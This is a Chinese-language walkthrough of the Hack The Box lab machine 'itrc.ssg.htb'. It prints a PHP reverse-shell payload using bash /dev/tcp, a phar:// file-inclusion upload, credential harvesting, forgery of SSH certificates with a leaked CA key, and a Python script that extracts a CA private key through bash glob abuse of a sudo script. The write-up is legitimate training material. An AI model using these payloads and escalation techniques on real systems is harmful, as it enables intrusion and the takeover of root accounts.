本文章仅用于网络安全研究学习,请勿使用相关技术进行违法犯罪活动。
Hack The Box是一个国外的靶机在线平台(官方网址:https://www.hackthebox.eu/),实验环境将实时更新,允许您测试您的 渗透测试 技能。
知识点:php伪协议、SSH CA签名登录。
Kali:10.10.16.39
靶场:10.10.11.27
0000.靶场基本情况
使用namp扫描,开放端口有22、80、2222。
22和2222端口都是ssh服务。
访问 10.10.11.27 ,自动跳转 http://itrc.ssg.htb ,配置host或者dns就可以正常访问,主页如下:
注册用户 test_1 ,登录后进入个人页面,在这个页面可以给管理员留言。
注意url格式为?page=dashboard,可能有文件包含漏洞。
创建Ticket,可以上传zip文件,经过测试只能上传zip文件,可以读取到上传后的位置。
对目录进行扫描,发现 ?page=admin 界面可以越权访问。 admin 界面有 ping 功能,测试命令注入无果。
历史Ticket ID从1到8,但是都无法访问。
0001.php伪协议获取www-date用户权限
创建ticket,在zip文件里面包含phpinfo.php文件。
访问如下命令,可以直接执行php代码。
1?page=phar://uploads/0000af8b7fb5d897811078a2ded3ace98479cea3.zip/phpinfo
在kali监听4445端口
1nc -lnvp 4445
上传反弹shell文件
1<?php eval(system("bash -c 'bash -i >& /dev/tcp/10.10.16.39/4445 0>&1'")); ?>
成功反弹 shell ,获取 www-data 权限。
0002.获取msainristil权限
在 /home 目录下发现两个用户 msainristil 和 zzinter ,我们的 目标是获取这两个用户或root的权限。
在 /var/www/itrc/db.php 文件下发现mysql的用户名密码。
连接mysql需要交互式shell,当前环境没有python,无法使用python改变交互模式,所以进入mysql需要借助socat。
连接mysql时主机要指定db。
1mysql -h db -u jj -p
mysql获取的用户密码无法解密。mysql对解题无帮助,这里就略写。
ping db,发现ip地址为172.233.0.2。
当前环境无法使用ifconfig,借助工具发现当前环境ip为172.233.0.3,且在根目录发现.dockerenv文件,确定当前环境为docker内部。
22端口的ssh是docker内部的服务,2222端口的ssh应该是主机的服务。
/var/www/html/uploads/c2f48xxxx.zip 文件中有个文件 itrc.ssg.htb.har ,在里面找到 msainristil 用户的密码。
1unzip c2f4813259cc57fab36b311c5058cf031cb6eb51.zip 2cat itrc.ssg.htb.har | grep msainristil
ssh 登录 msainristil 用户。
1ssh msainristil@ssg.htb
0003.Docker中zzinter用户权限
在 msainristil 用户目录下 decommission_old_ca 文件夹,里面有两个文件 ca-itrc 和 ca-itrc.pub 。这里需要自己创建密钥,然后使用ca签名就可以登录了。
不了解的可以参考这篇文章:
ssh使用CA签名登录
使用下列命令生成私钥 users_key 和公钥 users_key.pub
1ssh-keygen -t rsa -C zzinter@ssg.htb -f users_key
使用下列命令进行签名,得到 user_key-cert.pub 文件。
1ssh-keygen -s ca-itrc -n zzinter -I ident users_key.pub
使用下列命令将文件传回kali。
1scp msainristil@ssg.htb:/home/msainristil/decommission_old_ca/user* .
使用ssh登录zzinter
1ssh -i users_key zzinter@ssg.htb
0004.获取docker的root权限
使用上诉方法
靶机:
1ssh-keygen -t rsa -C root@ssg.htb -f dockerroot 2ssh-keygen -s ca-itrc -n root -I ident dockerroot.pub
kali中:
1scp msainristil@ssg.htb:/home/msainristil/decommission_old_ca/dockerroot* . 2ssh -i dockerroot root@ssg.htb
0005.获取主机的support用户权限
在 zzinter 用户找到发现 user.txt 。
其中还有 sign_key_api.sh 文件,打开后代码如下
1#!/bin/bash 2 3 4usage () { 5 echo "Usage: $0" 6 exit 1 7} 8 9 10if [ "$#" -ne 3 ]; then 11 usage 12fi 13 14 15public_key_file="$1" 16username="$2" 17principal_str="$3" 18 19 20supported_principals="webserver,analytics,support,security 21IFS=',' read -ra principal <<< "$principal_str" 22for word in "${principal[@]}"; do 23 if ! echo "$supported_principals" | grep -qw "$word"; then 24 echo "Error: '$word' is not a supported principal." 25 echo "Choose from:" 26 echo " webserver - external web servers - webadmin user" 27 echo " analytics - analytics team databases - analytics user" 28 echo " support - IT support server - support user" 29 echo " security - SOC servers - support user" 30 echo 31 usage 32 fi 33done 34 35 36if [ ! -f "$public_key_file" ]; then 37 echo "Error: Public key file '$public_key_file' not found." 38 usage 39fi 40 41 42public_key=$(cat $public_key_file) 43 44 45curl -s signserv.ssg.htb/v1/sign -d '{"pubkey": "'"$public_key"'", "username": "'"$username"'", "principals": "'"$principal"'"}' -H "Content-Type: application/json" -H "Authorization:Bearer 7Tqx6owMLtnt6oeR2ORbWmOPk30z4ZH901kH6UUT6vNziNqGrYgmSve5jCmnPJDE"
代码运行需要3个参数 public_key_file 、 username 、 principal 。
public_key_file是上面我们自己生成的密钥对中的公钥。
username:和principal保持一致就可以。
principal是对私钥签名后文件中的一个字段,指示的是登录名,以前文 users_key-cert.pub 为例,可以看到principal的值是zzinter。
1ssh-keygen -L -f users_key-cert.pub
代码还对 principal 进行了限制,只能 webserver,analytics,support,security 是四个字段之一。看似限制,实则提醒。
我们在前面使用如下命令进行签名,该代码的功能一样,只是签名文件由服务器提供。
1ssh-keygen -s ca-itrc -n zzinter -I ident users_key.pub
经过测试使用如下面命令和用户获取 support 的私钥文件。
靶机中:
1ssh-keygen -t rsa -C support@ssg.htb -f support 2./sign_key_api.sh support.pub support support > support-cert.pub 3mv supp* /tmp 4chmod 777 /tmp/supp*
Kali中:
1scp msainristil@ssg.htb:/tmp/suppo* . 2chmod 700 support* 3ssh -i support -p 2222 support@ssg.htb
0006.zzinter权限
在 /etc/ssh/auth_principals 文件夹中,可以知道 zzinter 用户可以使用 zzinter_temp ca 登录。
使用上面的方法,本来是想直接使用curl请求,但是我无论怎么尝试 curl 请求都是返回错误。
在靶机中:
将 /home/zzinter/sign_key_api.sh 复制到 /tmp/sign.sh
1cp /home/zzinter/sign_key_api.sh /tmp/sign.sh
修改sign.sh,在限制的字段中加入zzinter_temp
在靶机中执行如下命令
1ssh-keygen -t rsa -C zzinter@ssg.htb -f zzintertemp 2./sign.sh zzintertemp.pub zzinter zzinter_temp > zzintertemp-cert.pub 3chmod 777 /tmp/zzintertemp*
kali中:
1scp msainristil@ssg.htb:/tmp/zzintertemp* . 2chmod 700 zzintertemp* 3ssh -i zzintertemp -p 2222 zzinter@ssg.htb
0007.root权限
通过查找,在 /opt 文件夹下找到 sign_key.sh 文件。
使用 sudo -l 可以发现 zzinter 用户不需要密码就可以执行 sign_key.sh。
sign_key代码如下:
1#!/bin/bash
2
3
4usage () {
5 echo "Usage: $0"
6 exit 1
7}
8
9
10if [ "$#" -ne 5 ]; then
11 usage
12fi
13
14
15ca_file="$1"
16public_key_file="$2"
17username="$3"
18principal="$4"
19serial="$5"
20
21
22if [ ! -f "$ca_file" ]; then
23 echo "Error: CA file '$ca_file' not found."
24 usage
25fi
26
27
28if [[ $ca == "/etc/ssh/ca-it" ]]; then
29 echo "Error: Use API for signing with this CA."
30 usage
31fi
32
33
34itca=$(cat /etc/ssh/ca-it)
35ca=$(cat "$ca_file")
36if [[ $itca == $ca ]]; then
37 echo "Error: Use API for signing with this CA."
38 usage
39fi
40
41
42if [ ! -f "$public_key_file" ]; then
43 echo "Error: Public key file '$public_key_file' not found."
44 usage
45fi
46
47
48supported_principals="webserver,analytics,support,security"
49IFS=',' read -ra principal <<< "$principal_str"
50for word in "${principal[@]}"; do
51 if ! echo "$supported_principals" | grep -qw "$word"; then
52 echo "Error: '$word' is not a supported principal."
53 echo "Choose from:"
54 echo " webserver - external web servers - webadmin user"
55 echo " analytics - analytics team databases - analytics user"
56 echo " support - IT support server - support user"
57 echo " security - SOC servers - support user"
58 echo
59 usage
60 fi
61done
62
63
64if ! [[ $serial =~ ^[0-9]+$ ]]; then
65 echo "Error: '$serial' is not a number."
66 usage
67fi
68
69
70ssh-keygen -s "$ca_file" -z "$serial" -I "$username" -V -1w:forever -n "$principals" "$public_key_name"
先看代码最后一句,就是我们签名使用签名文件对公钥进行签名的操作。
1ssh-keygen -s "$ca_file" -z "$serial" -I "$username" -V -1w:forever -n "$principals" "$public_key_name"
-s:签名文件
-z:序列号
-I:官方解释是身份标识,填用户名应该就可以
-V:时效多长
-n: 登录别名,类似 zzinter_temp ,这里要求 root ,应该使用 root_user 。
代码中对签名文件进行了限制,不允许是/etc/ssh/ca-it文件。还是那句话, 看似限制,实则提醒 。
当前用户对/etc/ssh/ca-it没有访问权限,这里要使用Bash通配符滥用。
简述:文件a内容为abcd,我们使用文件b与文件a比对,如果内容一样则提示。通配符滥用就是,当文件b的内容为a\*时,也会提示。
靶机中:
在 /tmp 文件夹新建 test-ca 文件,创建密钥对:
1ssh-keygen -t rsa -C root@ssg.htb -f rootuser
新建 qcat.py 文件,写入如下代码并执行:
1import os 2 3 4header = "-----BEGIN OPENSSH PRIVATE KEY-----" 5footer = "-----END OPENSSH PRIVATE KEY-----" 6ba64chars = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=" 7key = [] 8line= 0 9 10 11while True: 12 for char in ba64chars: 13 testKey = header + "\n" + "".join(key) + char + "*" 14 with open('/tmp/test-ca', 'w', encoding='utf-8') as f: 15 f.write(testKey) 16 orderResult = os.popen("sudo /opt/sign_key.sh /tmp/test-ca rootuser.pub root root_user 05").readlines() 17 18 19 if "Error: Use API for signing with this CA." in str(orderResult): 20 key.append(char) 21 if len(key) > 0 and (len(key) - line) % 70 == 0: 22 line = line + 1 23 key.append("\n") 24 break 25 else: 26 break 27 28 29testKey = header + "\n" + "".join(key) + “\n” + footer 30with open('/tmp/test-ca','w') as f: 31 f.write(testKey)
已经获取 ca-it ,使用 ca 对密钥对进行签名,获取 rootuser-cert.pub 文件。
1sudo /opt/sign_key.sh /tmp/test-ca rootuser.pub root root_user 05
传输回本地,这里直接使用python建立http服务:
1python -m http.server 8001
kali:
1wget http://10.10.11.27:8001/rootuser-cert.pub 2wget http://10.10.11.27:8001/rootuser 3wget http://10.10.11.27:8001/rootuser.pub 4 5 6ssh -i rootuser -p 2222 root@ssg.htb
在 /root 找到最后一个 root.txt 。
感谢观看!